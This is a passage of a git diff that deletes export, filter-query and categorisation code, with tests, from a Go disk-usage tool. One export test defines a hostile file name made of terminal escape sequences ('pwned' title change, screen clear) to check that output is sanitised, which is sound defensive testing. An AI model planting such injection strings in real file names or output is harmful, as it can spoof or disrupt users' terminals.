:= writeNode(bw, t, c, depth-1); err != nil { - return err - } - } - _, err = bw.WriteString("]}") - return err -} - -func kindName(k inventory.Kind) string { - return [...]string{"file", "dir", "symlink", "other"}[k&3] -} - -// CSV writes one row per node beneath root (depth-limited). Paths are -// sanitised so the output is safe to print to a terminal. -func CSV(w io.Writer, t *inventory.Tree, root inventory.NodeID, maxDepth int) error { - cw := csv.NewWriter(w) - cw.Write([]string{"path", "type", "size", "allocated", "files", "dirs", "errors", "modified", "flags"}) - var rec func(id inventory.NodeID, path string, depth int) error - rec = func(id inventory.NodeID, path string, depth int) error { - n := t.Node(id) - mod := "" - if n.MTime != 0 { - mod = time.Unix(0, n.MTime).UTC().Format(time.RFC3339) - } - flags := "" - for i, f := range FlagList(n.Flags) { - if i > 0 { - flags += "|" - } - flags += f - } - if err := cw.Write([]string{textutil.Sanitize(path), kindName(n.Kind), - strconv.FormatInt(n.TotSize, 10), strconv.FormatInt(n.TotAlloc, 10), - strconv.FormatUint(uint64(n.Files), 10), strconv.FormatUint(uint64(n.Dirs), 10), - strconv.FormatUint(uint64(n.Errors), 10), mod, flags}); err != nil { - return err - } - if depth == 0 { - return nil - } - for _, c := range t.SortedChildren(id, inventory.SizeAllocated) { - if err := rec(c, filepath.Join(path, t.Node(c).Name), depth-1); err != nil { - return err - } - } - return nil - } - if err := rec(root, t.Path(root), maxDepth); err != nil { - return err - } - cw.Flush() - return cw.Error() -} - -// Table writes "size % files path" rows for the given nodes. -func Table(w io.Writer, t *inventory.Tree, ids []inventory.NodeID, m inventory.SizeMode) { - total := t.Node(t.Root()).Total(m) - fmt.Fprintf(w, "%12s %6s %12s %s\n", "SIZE", "%", "FILES", "PATH") - for _, id := range ids { - n := t.Node(id) - files := "" - if n.IsDir() { - files = textutil.Count(int64(n.Files)) - } - fmt.Fprintf(w, "%12s %6s %12s %s\n", textutil.Size(n.Total(m)), textutil.Percent(n.Total(m), total), - files, textutil.Sanitize(t.Path(id))) - } -} - -// Summary writes the scan summary, making incompleteness explicit. -func Summary(w io.Writer, t *inventory.Tree) { - st := &t.Stats - r := t.Node(t.Root()) - fmt.Fprintf(w, "Root %s\n", textutil.Sanitize(st.Root)) - fmt.Fprintf(w, "Files %s\n", textutil.Count(st.Files+st.Symlinks+st.Others)) - fmt.Fprintf(w, "Directories %s\n", textutil.Count(st.Dirs)) - fmt.Fprintf(w, "Logical size %s (%d bytes)\n", textutil.Size(r.TotSize), r.TotSize) - fmt.Fprintf(w, "Allocated size %s (%d bytes)\n", textutil.Size(r.TotAlloc), r.TotAlloc) - fmt.Fprintf(w, "Elapsed %s\n", st.Elapsed().Round(time.Millisecond)) - for k, c := range st.ErrCounts { - if c > 0 { - fmt.Fprintf(w, "%-15s %s\n", inventory.ErrKind(k).String(), textutil.Count(c)) - } - } - if st.Excluded > 0 { - fmt.Fprintf(w, "Excluded %s entries (%s)\n", textutil.Count(st.Excluded), textutil.Sanitize(strings.Join(st.Excludes, ", "))) - } - if st.SkippedMounts > 0 { - fmt.Fprintf(w, "Other FS skipped %s\n", textutil.Count(st.SkippedMounts)) - } - if st.VirtualSkipped > 0 { - fmt.Fprintf(w, "Virtual FS skipped %s\n", textutil.Count(st.VirtualSkipped)) - } - if st.HardlinkDups > 0 { - fmt.Fprintf(w, "Hard-link dups %s (counted once)\n", textutil.Count(st.HardlinkDups)) - } - if st.Incomplete() { - fmt.Fprintln(w, "WARNING: totals are incomplete — some data could not be inspected.") - } -} diff --git a/internal/export/export_test.go b/internal/export/export_test.go deleted file mode 100644 index 36a33a1..0000000 --- a/internal/export/export_test.go +++ /dev/null @@ -1,74 +0,0 @@ -package export - -import ( - "bytes" - "encoding/json" - "strings" - "testing" - - "github.com/andydixon/mapsize/internal/inventory" -) - -const hostile = "evil\x1b]0;pwned\x07\x1b[2J" - -func tree() *inventory.Tree { - t := inventory.New("/r", inventory.KindDir) - d := t.Add(0, "d", inventory.KindDir) - f := t.Add(d, hostile, inventory.KindFile) - t.Node(f).Size, t.Node(f).Alloc = 10, 4096 - t.Recompute() - t.Stats.Complete = true - return t -} - -func noControl(t *testing.T, s string) { - t.Helper() - if strings.ContainsAny(s, "\x1b\x07") { - t.Fatalf("raw control characters in output: %q", s) - } -} - -func TestOutputsAreTerminalSafe(t *testing.T) { - tr := tree() - var b bytes.Buffer - if err := CSV(&b, tr, 0, -1); err != nil { - t.Fatal(err) - } - noControl(t, b.String()) - if !strings.Contains(b.String(), `evil\x1b]0;pwned\x07`) { - t.Fatalf("CSV should show the escaped name: %s", b.String()) - } - - b.Reset() - Table(&b, tr, []inventory.NodeID{2}, inventory.SizeAllocated) - Summary(&b, tr) - noControl(t, b.String()) - - b.Reset() - if err := JSON(&b, tr, 0, -1); err != nil { - t.Fatal(err) - } - noControl(t, b.String()) - var v struct { - Tree struct { - Children []struct { - Children []struct{ Name string } - } - } - } - if err := json.Unmarshal(b.Bytes(), &v); err != nil { - t.Fatal(err) - } - // JSON keeps the exact name (escaped by the encoder, decoded back). - if got := v.Tree.Children[0].Children[0].Name; got != hostile { - t.Fatalf("JSON name %q", got) - } -} - -func TestJSONDepthLimit(t *testing.T) { - var b bytes.Buffer - JSON(&b, tree(), 0, 1) - if strings.Contains(b.String(), "evil") { - t.Fatal("depth 1 should not include grandchildren") - } -} diff --git a/internal/filter/apply.go b/internal/filter/apply.go deleted file mode 100644 index 3650325..0000000 --- a/internal/filter/apply.go +++ /dev/null @@ -1,78 +0,0 @@ -package filter - -import ( - "context" - "time" - - "github.com/andydixon/mapsize/internal/inventory" -) - -// Result holds per-node filtered sizes: the bytes of matching content beneath -// each node. A matching directory contributes its whole subtree (once, even -// if descendants match too). Matched marks every node satisfying the query. Nodes added -// after the result was computed (live scan) have no entry and are treated as -// not matching until the filter is re-applied. -type Result struct { - Query *Query - Mode inventory.SizeMode - Sizes []int64 // per NodeID; len = tree size at evaluation time - Matched []bool // node itself matched - Count int64 // number of matching nodes - Total int64 - Elapsed time.Duration -} - -// Size returns the filtered size of id (0 if out of range). -func (r *Result) Size(id inventory.NodeID) int64 { - if int(id) < len(r.Sizes) { - return r.Sizes[id] - } - return 0 -} - -// IsMatch reports whether id itself matched. -func (r *Result) IsMatch(id inventory.NodeID) bool { - return int(id) < len(r.Matched) && r.Matched[id] -} - -// Apply evaluates q over the whole tree. The tree must be read-locked by the -// caller. It relies on parents having smaller IDs than their children. -func Apply(ctx context.Context, t *inventory.Tree, q *Query, m inventory.SizeMode) (*Result, error) { - start := time.Now() - n := t.Len() - r := &Result{Query: q, Mode: m, Sizes: make([]int64, n), Matched: make([]bool, n)} - covered := make([]bool, n) - c := &Ctx{Tree: t, Now: time.Now().UnixNano()} - if q.UsesPath { - c.dirPaths = map[inventory.NodeID]string{} - } - for i := range n { - if i&0xffff == 0 && ctx.Err() != nil { - return nil, ctx.Err() - } - id := inventory.NodeID(i) - nd := t.Node(id) - c.ID, c.Node, c.path = id, nd, "" - if c.dirPaths != nil && nd.IsDir() { - c.path = c.lowerPath() - c.dirPaths[id] = c.path - } - if i > 0 && q.Match(c) { - r.Matched[i] = true - covered[i] = true - r.Count++ - } - if i > 0 && covered[nd.Parent] { - covered[i] = true - } - if covered[i] && nd.Flags&inventory.FlagHardlinkDup == 0 { - r.Sizes[i] = nd.Own(m) - } - } - for i := n - 1; i > 0; i-- { - r.Sizes[t.Node(inventory.NodeID(i)).Parent] += r.Sizes[i] - } - r.Total = r.Sizes[0] - r.Elapsed = time.Since(start) - return r, nil -} diff --git a/internal/filter/eval.go b/internal/filter/eval.go deleted file mode 100644 index cdda783..0000000 --- a/internal/filter/eval.go +++ /dev/null @@ -1,176 +0,0 @@ -package filter - -import ( - "path/filepath" - "regexp" - "strings" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/platform" -) - -// Ctx is the evaluation context for one node. The tree must be read-locked. -type Ctx struct { - Tree *inventory.Tree - ID inventory.NodeID - Node *inventory.Node - Now int64 // unix nanoseconds - path string - // dirPaths caches lower-cased directory paths during Apply, which visits - // parents before children, so a node's path is one concatenation. - dirPaths map[inventory.NodeID]string -} - -func (c *Ctx) str(f Field) string { - n := c.Node - switch f { - case FName: - return strings.ToLower(n.Name) - case FPath: - if c.path == "" { - c.path = c.lowerPath() - } - return c.path - case FExt: - return c.Tree.ExtName(n) - case FType: - return strings.ToLower(n.Kind.String()) - case FCategory: - if n.IsDir() { - return "directory" - } - return strings.ToLower(n.Cat.String()) - case FOwner: - return strings.ToLower(platform.UserName(n.UID)) - case FGroup: - return strings.ToLower(platform.GroupName(n.GID)) - } - return "" -} - -func (c *Ctx) num(f Field) int64 { - n := c.Node - switch f { - case FSize: - return n.TotSize - case FAllocated: - return n.TotAlloc - case FAge: - return c.Now - n.MTime - case FModified: - return n.MTime - case FFiles: - return int64(n.Files) - } - return 0 -} - -func (c *Ctx) lowerPath() string { - if c.dirPaths != nil { - if p, ok := c.dirPaths[c.ID]; ok { - return p - } - if pp, ok := c.dirPaths[c.Node.Parent]; ok { - sep := string(filepath.Separator) - if strings.HasSuffix(pp, sep) { - sep = "" - } - return pp + sep + strings.ToLower(c.Node.Name) - } - } - return strings.ToLower(c.Tree.Path(c.ID)) -} - -type node interface{ eval(*Ctx) bool } - -type andNode struct{ l, r node } -type orNode struct{ l, r node } -type notNode struct{ n node } - -func (n andNode) eval(c *Ctx) bool { return n.l.eval(c) && n.r.eval(c) } -func (n orNode) eval(c *Ctx) bool { return n.l.eval(c) || n.r.eval(c) } -func (n notNode) eval(c *Ctx) bool { return !n.n.eval(c) } - -type containsNode struct { - field Field - sub string -} - -func (n containsNode) eval(c *Ctx) bool { return strings.Contains(c.str(n.field), n.sub) } - -type globNode struct { - field Field - pat string -} - -func (n globNode) eval(c *Ctx) bool { - ok, _ := filepath.Match(n.pat, c.str(n.field)) - return ok -} - -type reNode struct { - field Field - re *regexp.Regexp -} - -func (n reNode) eval(c *Ctx) bool { return n.re.MatchString(c.str(n.field)) } - -type eqNode struct { - field Field - set []string -} - -func (n eqNode) eval(c *Ctx) bool { - if n.field == FFlag { - for _, s := range n.set { - if c.Node.Flags&flagNames[s] != 0 { - return true - } - } - return false - } - v := c.str(n.field) - for _, s := range n.set { - if v == s { - return true - } - } - return false -} - -type numNode struct { - field Field - op string - vals []int64 -} - -func (n numNode) eval(c *Ctx) bool { - if (n.field == FAge || n.field == FModified) && c.Node.MTime == 0 { - return false // unknown time never matches - } - v := c.num(n.field) - for _, x := range n.vals { - var ok bool - switch n.op { - case "=": - ok = v == x - case "!=": - ok = v != x - case ">": - ok = v > x - case ">=": - ok = v >= x - case "<": - ok = v < x - case "<=": - ok = v <= x - } - if ok { - return true - } - } - return false -} - -// Match evaluates the query against one node. -func (q *Query) Match(c *Ctx) bool { return q.root.eval(c) } diff --git a/internal/filter/filter_test.go b/internal/filter/filter_test.go deleted file mode 100644 index c6a4d43..0000000 --- a/internal/filter/filter_test.go +++ /dev/null @@ -1,122 +0,0 @@ -package filter - -import ( - "context" - "testing" - "time" - - "github.com/andydixon/mapsize/internal/inventory" -) - -func tree() *inventory.Tree { - t := inventory.New("/srv", inventory.KindDir) - vms := t.Add(0, "vms", inventory.KindDir) - cache := t.Add(0, "cache", inventory.KindDir) - add := func(p inventory.NodeID, name string, size int64, age time.Duration) inventory.NodeID { - id := t.Add(p, name, inventory.KindFile) - n := t.Node(id) - n.Size, n.Alloc = size, size - n.MTime = time.Now().Add(-age).UnixNano() - n.Cat = inventory.CategoryFor(inventory.Ext(name), false, false) - return id - } - add(vms, "ubuntu.qcow2", 80<<30, 400*24*time.Hour) - add(vms, "win.vmdk", 40<<30, time.Hour) - add(vms, "notes.txt", 1000, time.Hour) - add(cache, "blob.iso", 700<<20, 10*24*time.Hour) - add(cache, "x.tmp", 10, time.Hour) - t.Recompute() - return t -} - -func names(t *testing.T, tr *inventory.Tree, q string) map[string]bool { - t.Helper() - pq, err := Parse(q, time.Now()) - if err != nil { - t.Fatalf("Parse(%q): %v", q, err) - } - r, err := Apply(context.Background(), tr, pq, inventory.SizeLogical) - if err != nil { - t.Fatal(err) - } - out := map[string]bool{} - for i := range tr.Len() { - if r.IsMatch(inventory.NodeID(i)) { - out[tr.Node(inventory.NodeID(i)).Name] = true - } - } - return out -} - -func TestQueries(t *testing.T) { - tr := tree() - cases := map[string][]string{ - "ubuntu": {"ubuntu.qcow2"}, - "*.iso": {"blob.iso"}, - "size > 1GB": {"vms", "ubuntu.qcow2", "win.vmdk"}, - "size > 1GB AND type = file": {"ubuntu.qcow2", "win.vmdk"}, - "ext = qcow2": {"ubuntu.qcow2"}, - "size > 500MB AND ext IN (iso,qcow2,vmdk)": {"ubuntu.qcow2", "win.vmdk", "blob.iso"}, - "path contains cache": {"cache", "blob.iso", "x.tmp"}, - "age > 365d": {"ubuntu.qcow2"}, - "NOT type = dir AND size < 1k": {"notes.txt", "x.tmp"}, - "(ext = iso OR ext = tmp) type=file": {"blob.iso", "x.tmp"}, - "category = vm": {"ubuntu.qcow2", "win.vmdk", "blob.iso"}, - "name matches '^w.*k$'": {"win.vmdk"}, - "ext != qcow2 && type = file && size > 1GB": {"win.vmdk"}, - "name = 'notes.txt'": {"notes.txt"}, - } - for q, want := range cases { - got := names(t, tr, q) - if len(got) != len(want) { - t.Errorf("%q: got %v want %v", q, got, want) - continue - } - for _, w := range want { - if !got[w] { - t.Errorf("%q: got %v want %v", q, got, want) - } - } - } -} - -func TestFilteredSizesNoDoubleCount(t *testing.T) { - tr := tree() - q, _ := Parse("name = vms OR ext = qcow2", time.Now()) - r, _ := Apply(context.Background(), tr, q, inventory.SizeLogical) - if want := tr.Node(1).TotSize; r.Total != want { - t.Fatalf("total %d want %d (matching dir must not double count matching child)", r.Total, want) - } -} - -func TestParseErrors(t *testing.T) { - for _, q := range []string{"", "size >", "size > banana", "(ext = iso", "ext = iso)", "size contains 5", - "name matches '['", "type = blob", "'unterminated", "a & b", "category = nope"} { - if _, err := Parse(q, time.Now()); err == nil { - t.Errorf("Parse(%q) should fail", q) - } - } -} - -func TestParseSize(t *testing.T) { - cases := map[string]int64{"1GB": 1e9, "1GiB": 1 << 30, "1.5k": 1536, "500MB": 5e8, "10": 10} - for in, want := range cases { - if got, err := ParseSize(in); err != nil || got != want { - t.Errorf("ParseSize(%q)=%d,%v want %d", in, got, err, want) - } - } -} - -func FuzzParse(f *testing.F) { - for _, s := range []string{"size > 1GB", "(a OR b) AND NOT c", "ext IN (a,b)", "'x", "name matches '.*'"} { - f.Add(s) - } - tr := tree() - f.Fuzz(func(t *testing.T, s string) { - q, err := Parse(s, time.Now()) - if err != nil { - return - } - Apply(context.Background(), tr, q, inventory.SizeAllocated) - }) -} diff --git a/internal/filter/lexer.go b/internal/filter/lexer.go deleted file mode 100644 index bf72624..0000000 --- a/internal/filter/lexer.go +++ /dev/null @@ -1,103 +0,0 @@ -// Package filter implements the search/filter query language: -// -// query := or -// or := and { OR and } -// and := unary { [AND] unary } (juxtaposition means AND) -// unary := NOT unary | "(" query ")" | cmp | word -// cmp := field op value -// op := = | != | > | >= | < | <= | contains | matches | in | ~ -// value := word | "quoted string" | "(" value { "," value } ")" -// -// A bare word matches the name: substring (case-insensitive), or a glob if it -// contains * ? or [. Parsing is independent of the UI and fully testable. -package filter - -import ( - "fmt" - "strings" - "unicode" -) - -type tokKind int - -const ( - tEOF tokKind = iota - tWord - tString - tOp - tLParen - tRParen - tComma -) - -type token struct { - kind tokKind - val string - pos int -} - -func lex(s string) ([]token, error) { - var out []token - i := 0 - for i < len(s) { - c := s[i] - switch { - case c == ' ' || c == '\t' || c == '\n' || c == '\r': - i++ - case c == '(': - out = append(out, token{tLParen, "(", i}) - i++ - case c == ')': - out = append(out, token{tRParen, ")", i}) - i++ - case c == ',': - out = append(out, token{tComma, ",", i}) - i++ - case c == '"' || c == '\'': - q := c - start := i - i++ - var b strings.Builder - for i < len(s) && s[i] != q { - if s[i] == '\\' && i+1 < len(s) { - i++ - } - b.WriteByte(s[i]) - i++ - } - if i >= len(s) { - return nil, fmt.Errorf("unterminated string at %d", start+1) - } - i++ - out = append(out, token{tString, b.String(), start}) - case strings.ContainsRune("=!<>~&|", rune(c)): - start := i - op := string(c) - if i+1 < len(s) && (s[i+1] == '=' || (c == '&' && s[i+1] == '&') || (c == '|' && s[i+1] == '|')) { - op += string(s[i+1]) - } - i += len(op) - switch op { - case "&&": - out = append(out, token{tWord, "AND", start}) - case "||": - out = append(out, token{tWord, "OR", start}) - case "!": - out = append(out, token{tWord, "NOT", start}) - case "&", "|": - return nil, fmt.Errorf("unexpected %q at %d", op, start+1) - case "==": - out = append(out, token{tOp, "=", start}) - default: - out = append(out, token{tOp, op, start}) - } - default: - start := i - for i < len(s) && !unicode.IsSpace(rune(s[i])) && !strings.ContainsRune("()=!<>~,\"'&|", rune(s[i])) { - i++ - } - out = append(out, token{tWord, s[start:i], start}) - } - } - return append(out, token{tEOF, "", len(s)}), nil -} diff --git a/internal/filter/parser.go b/internal/filter/parser.go deleted file mode 100644 index 3e89cb5..0000000 --- a/internal/filter/parser.go +++ /dev/null @@ -1,382 +0,0 @@ -package filter - -import ( - "fmt" - "path/filepath" - "regexp" - "strconv" - "strings" - "time" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/textutil" -) - -// Field is a filterable attribute. -type Field int - -const ( - FName Field = iota - FPath - FExt - FType - FCategory - FSize - FAllocated - FAge - FModified - FOwner - FGroup - FFiles - FFlag -) - -var fieldNames = map[string]Field{ - "name": FName, "path": FPath, "ext": FExt, "extension": FExt, "type": FType, "kind": FType, - "category": FCategory, "cat": FCategory, "size": FSize, "allocated": FAllocated, "alloc": FAllocated, - "age": FAge, "modified": FModified, "mtime": FModified, "owner": FOwner, "user": FOwner, "group": FGroup, - "files": FFiles, "flag": FFlag, "is": FFlag, -} - -// Fields lists the field names for help text. -const Fields = "name path ext type category size allocated age modified owner group files flag" - -// Query is a compiled filter. -type Query struct { - src string - root node - UsesPath bool -} - -func (q *Query) String() string { return q.src } - -type parser struct { - toks []token - i int - q *Query - now time.Time -} - -// Parse compiles a query. now anchors relative ages (pass time.Now()). -func Parse(s string, now time.Time) (*Query, error) { - toks, err := lex(s) - if err != nil { - return nil, err - } - q := &Query{src: s} - p := &parser{toks: toks, q: q, now: now} - if p.peek().kind == tEOF { - return nil, fmt.Errorf("empty query") - } - q.root, err = p.or() - if err != nil { - return nil, err - } - if t := p.peek(); t.kind != tEOF { - return nil, fmt.Errorf("unexpected %q at %d", t.val, t.pos+1) - } - return q, nil -} - -func (p *parser) peek() token { return p.toks[p.i] } -func (p *parser) next() token { - t := p.toks[p.i] - if t.kind != tEOF { - p.i++ - } - return t -} - -func isKw(t token, kw string) bool { return t.kind == tWord && strings.EqualFold(t.val, kw) } - -func (p *parser) or() (node, error) { - l, err := p.and() - if err != nil { - return nil, err - } - for isKw(p.peek(), "OR") { - p.next() - r, err := p.and() - if err != nil { - return nil, err - } - l = orNode{l, r} - } - return l, nil -} - -func (p *parser) and() (node, error) { - l, err := p.unary() - if err != nil { - return nil, err - } - for { - t := p.peek() - if isKw(t, "AND") { - p.next() - } else if t.kind == tEOF || t.kind == tRParen || isKw(t, "OR") { - return l, nil - } - r, err := p.unary() - if err != nil { - return nil, err - } - l = andNode{l, r} - } -} - -func (p *parser) unary() (node, error) { - t := p.peek() - switch { - case isKw(t, "NOT"): - p.next() - n, err := p.unary() - if err != nil { - return nil, err - } - return notNode{n}, nil - case t.kind == tLParen: - p.next() - n, err := p.or() - if err != nil { - return nil, err - } - if p.next().kind != tRParen { - return nil, fmt.Errorf("missing ) for ( at %d", t.pos+1) - } - return n, nil - case t.kind == tWord || t.kind == tString: - p.next() - if f, ok := fieldNames[strings.ToLower(t.val)]; ok && t.kind == tWord && p.isOp(p.peek()) { - return p.cmp(f, p.next()) - } - return nameMatch(t.val), nil - } - return nil, fmt.Errorf("unexpected %q at %d", t.val, t.pos+1) -} - -func (p *parser) isOp(t token) bool { - return t.kind == tOp || isKw(t, "contains") || isKw(t, "matches") || isKw(t, "in") -} - -func nameMatch(v string) node { - lv := strings.ToLower(v) - if strings.ContainsAny(v, "*?[") { - return globNode{field: FName, pat: lv} - } - return containsNode{field: FName, sub: lv} -} - -func (p *parser) values() ([]token, error) { - if p.peek().kind != tLParen { - t := p.next() - if t.kind != tWord && t.kind != tString { - return nil, fmt.Errorf("expected value at %d", t.pos+1) - } - return []token{t}, nil - } - p.next() - var out []token - for { - t := p.next() - if t.kind != tWord && t.kind != tString { - return nil, fmt.Errorf("expected value at %d", t.pos+1) - } - out = append(out, t) - switch n := p.next(); n.kind { - case tComma: - case tRParen: - return out, nil - default: - return nil, fmt.Errorf("expected , or ) at %d", n.pos+1) - } - } -} - -func (p *parser) cmp(f Field, opTok token) (node, error) { - op := strings.ToLower(opTok.val) - if op == "~" { - op = "matches" - } - vals, err := p.values() - if err != nil { - return nil, err - } - if op != "in" && len(vals) != 1 { - return nil, fmt.Errorf("operator %s takes one value", op) - } - if f == FPath { - p.q.UsesPath = true - } - switch f { - case FSize, FAllocated, FAge, FModified, FFiles: - if op == "contains" || op == "matches" { - return nil, fmt.Errorf("%s cannot be used with numeric field", op) - } - var nums []int64 - for _, v := range vals { - n, err := p.number(f, v.val) - if err != nil { - return nil, err - } - nums = append(nums, n) - } - if op == "in" { - op = "=" - } - return numNode{field: f, op: op, vals: nums}, nil - } - // String-like fields. - switch op { - case "contains": - return containsNode{field: f, sub: strings.ToLower(vals[0].val)}, nil - case "matches": - re, err := regexp.Compile("(?i)" + vals[0].val) - if err != nil { - return nil, fmt.Errorf("bad regular expression: %v", err) - } - return reNode{field: f, re: re}, nil - case "=", "!=", "in": - var n node - var set []string - for _, v := range vals { - s := strings.ToLower(v.val) - if f == FExt { - s = strings.TrimPrefix(s, ".") - } - if f == FCategory { - c, ok := inventory.ParseCategory(s) - if !ok { - return nil, fmt.Errorf("unknown category %q", v.val) - } - s = strings.ToLower(c.String()) - } - if f == FType { - s, err = normType(s) - if err != nil { - return nil, err - } - } - if f == FFlag { - if _, ok := flagNames[s]; !ok { - return nil, fmt.Errorf("unknown flag %q (sparse, hardlink, error, mount, incomplete, followed, broken)", v.val) - } - } - set = append(set, s) - } - if len(set) == 1 && strings.ContainsAny(set[0], "*?[") { - if _, err := filepath.Match(set[0], ""); err != nil { - return nil, fmt.Errorf("bad pattern %q", vals[0].val) - } - n = globNode{field: f, pat: set[0]} - } else { - n = eqNode{field: f, set: set} - } - if op == "!=" { - n = notNode{n} - } - return n, nil - } - return nil, fmt.Errorf("operator %s not valid for %s", op, opTok.val) -} - -func normType(s string) (string, error) { - switch s { - case "f", "file": - return "file", nil - case "d", "dir", "directory": - return "directory", nil - case "l", "link", "symlink": - return "symlink", nil - case "other", "special": - return "special", nil - } - return "", fmt.Errorf("unknown type %q (file, dir, symlink, other)", s) -} - -var flagNames = map[string]inventory.Flags{ - "sparse": inventory.FlagSparse, "hardlink": inventory.FlagHardlinked, "hardlinked": inventory.FlagHardlinked, - "error": inventory.FlagError, "mount": inventory.FlagMountPoint, "incomplete": inventory.FlagIncomplete, - "followed": inventory.FlagFollowed, "broken": inventory.FlagBrokenLink, -} - -// number parses sizes ("1.5GiB", "500MB", "10k"), ages ("365d", "2w") and -// dates ("2024-01-31"). Ages and dates are converted to modification times -// (unix nanoseconds) relative to p.now. -func (p *parser) number(f Field, s string) (int64, error) { - switch f { - case FSize, FAllocated: - return ParseSize(s) - case FFiles: - return strconv.ParseInt(s, 10, 64) - case FAge: - d, err := ParseAge(s) - return int64(d), err - case FModified: - for _, layout := range []string{"2006-01-02", "2006-01-02T15:04", "2006-01-02 15:04", time.RFC3339} { - if t, err := time.ParseInLocation(layout, s, time.Local); err == nil { - return t.UnixNano(), nil - } - } - if d, err := ParseAge(s); err == nil { - return p.now.Add(-d).UnixNano(), nil - } - return 0, fmt.Errorf("bad date %q (use YYYY-MM-DD or an age like 30d)", s) - } - return 0, fmt.Errorf("not numeric") -} - -// ParseSize parses a size with optional unit. kB/MB/GB/TB are SI (powers of -// 1000); KiB/MiB/GiB/TiB are IEC (1024). Bare K/M/G/T follow the display -// setting (textutil.SI). -func ParseSize(s string) (int64, error) { - i := 0 - for i < len(s) && (s[i] >= '0' && s[i] <= '9' || s[i] == '.') { - i++ - } - if i == 0 { - return 0, fmt.Errorf("bad size %q", s) - } - v, err := strconv.ParseFloat(s[:i], 64) - if err != nil { - return 0, fmt.Errorf("bad size %q", s) - } - unit := strings.ToLower(strings.TrimSpace(s[i:])) - bare := 1024.0 - if textutil.SI { - bare = 1000 - } - mult := map[string]float64{"": 1, "b": 1, - "k": bare, "m": bare * bare, "g": bare * bare * bare, "t": bare * bare * bare * bare, "p": bare * bare * bare * bare * bare, - "kb": 1e3, "mb": 1e6, "gb": 1e9, "tb": 1e12, "pb": 1e15, - "kib": 1 << 10, "mib": 1 << 20, "gib": 1 << 30, "tib": 1 << 40, "pib": 1 << 50} - m, ok := mult[unit] - if !ok { - return 0, fmt.Errorf("unknown size unit %q", s[i:]) - } - r := v * m - if r > 9e18 { - return 0, fmt.Errorf("size %q too large", s) - } - return int64(r), nil -} - -// ParseAge parses durations like 90s, 30min, 12h, 7d, 2w, 6mo, 1y. -func ParseAge(s string) (time.Duration, error) { - i := 0 - for i < len(s) && (s[i] >= '0' && s[i] <= '9' || s[i] == '.') { - i++ - } - v, err := strconv.ParseFloat(s[:i], 64) - if err != nil { - return 0, fmt.Errorf("bad age %q", s) - } - day := 24 * time.Hour - units := map[string]time.Duration{"s": time.Second, "sec": time.Second, "min": time.Minute, - "h": time.Hour, "d": day, "": day, "w": 7 * day, "m": 30 * day, "mo": 30 * day, "y": 365 * day} - u, ok := units[strings.ToLower(s[i:])] - if !ok { - return 0, fmt.Errorf("unknown age unit %q (s, min, h, d, w, mo, y)", s[i:]) - } - return time.Duration(v * float64(u)), nil -} diff --git a/internal/inventory/category.go b/internal/inventory/category.go deleted file mode 100644 index 17f1ff7..0000000 --- a/internal/inventory/category.go +++ /dev/null @@ -1,117 +0,0 @@ -package inventory - -import "strings" - -// Category is a coarse file classification used for colouring and stats. -type Category uint8 - -const ( - CatOther Category = iota - CatImage - CatVideo - CatAudio - CatArchive - CatDiskImage - CatDatabase - CatCode - CatDocument - CatExecutable - CatLog - CatCache - NumCategories -) - -var categoryNames = [NumCategories]string{ - "Other", "Image", "Video", "Audio", "Archive", "Disk image", "Database", - "Source code", "Document", "Executable", "Log", "Cache", -} - -func (c Category) String() string { - if c < NumCategories { - return categoryNames[c] - } - return "Other" -} - -// ParseCategory resolves a category by (case-insensitive) name or prefix. -func ParseCategory(s string) (Category, bool) { - s = strings.ToLower(strings.TrimSpace(s)) - for i, n := range categoryNames { - ln := strings.ToLower(n) - if ln == s || strings.ReplaceAll(ln, " ", "") == s || strings.HasPrefix(ln, s) && len(s) >= 3 { - return Category(i), true - } - } - switch s { - case "vm", "virtual machine", "disk": - return CatDiskImage, true - case "db": - return CatDatabase, true - case "src", "source": - return CatCode, true - case "exe", "binary": - return CatExecutable, true - } - return 0, false -} - -var extCategory = map[string]Category{} - -func init() { - add := func(c Category, exts string) { - for _, e := range strings.Fields(exts) { - extCategory[e] = c - } - } - add(CatImage, "jpg jpeg png gif bmp tif tiff webp heic heif raw cr2 cr3 nef arw dng svg ico psd xcf avif jxl orf rw2") - add(CatVideo, "mp4 mkv mov avi wmv flv webm m4v mpg mpeg ts m2ts vob 3gp ogv mts") - add(CatAudio, "mp3 flac wav ogg oga opus m4a aac wma aiff aif alac mid midi") - add(CatArchive, "zip tar gz tgz bz2 tbz xz txz zst zstd 7z rar lz lz4 lzma cab deb rpm apk jar war cpio pkg snap whl gem") - add(CatDiskImage, "iso img qcow qcow2 vmdk vdi vhd vhdx hdd ova ovf dmg raw vmem vmsn nvram sav") - add(CatDatabase, "db sqlite sqlite3 db3 mdb accdb frm ibd myd myi ldf mdf ndf dbf wal kdbx realm lmdb rdb aof") - add(CatCode, "c h cc cpp cxx hpp hh go rs py pyc js mjs cjs ts tsx jsx java kt kts scala rb php pl pm sh bash zsh fish lua swift m mm cs fs vb r jl hs ml ex exs erl clj dart sql css scss sass less html htm vue svelte json yaml yml toml xml proto gradle cmake mk ipynb o a lib obj class") - add(CatDocument, "pdf doc docx odt rtf txt md rst tex xls xlsx ods csv tsv ppt pptx odp epub mobi djvu pages numbers key org adoc") - add(CatExecutable, "exe dll so dylib bin msi app elf ko sys efi appimage com") - add(CatLog, "log journal") - add(CatCache, "cache tmp temp swp bak old part crdownload") -} - -// CategoryFor classifies a file by its (lower-case) extension and by -// whether it lives beneath a cache or log directory. -func CategoryFor(ext string, inCache, inLog bool) Category { - c, ok := extCategory[ext] - switch { - case inCache && (!ok || c == CatOther || c == CatCode): - return CatCache - case inLog && (!ok || c == CatArchive || c == CatOther): - return CatLog - case ok: - return c - } - return CatOther -} - -// PathHints reports whether a directory path contains a cache or log -// component. It is evaluated once per directory, not per file. -func PathHints(path string) (inCache, inLog bool) { - lp := strings.ToLower(path) - for _, part := range strings.FieldsFunc(lp, func(r rune) bool { return r == '/' || r == '\\' }) { - switch part { - case "cache", ".cache", "caches", "__pycache__", ".npm", ".gradle", "inetcache", "temp", "tmp": - inCache = true - case "log", "logs", ".logs", "journal": - inLog = true - } - } - return -} - -// Ext returns the lower-case extension of name without the dot ("" if none, -// or if the name is a dotfile like ".bashrc"). -func Ext(name string) string { - i := strings.LastIndexByte(name, '.') - if i <= 0 || i == len(name)-1 || len(name)-i > 16 { - return "" - } - return strings.ToLower(name[i+1:]) -} diff --git a/internal/inventory/query.go b/internal/inventory/query.go deleted file mode 100644 index 26ef11a..0000000 --- 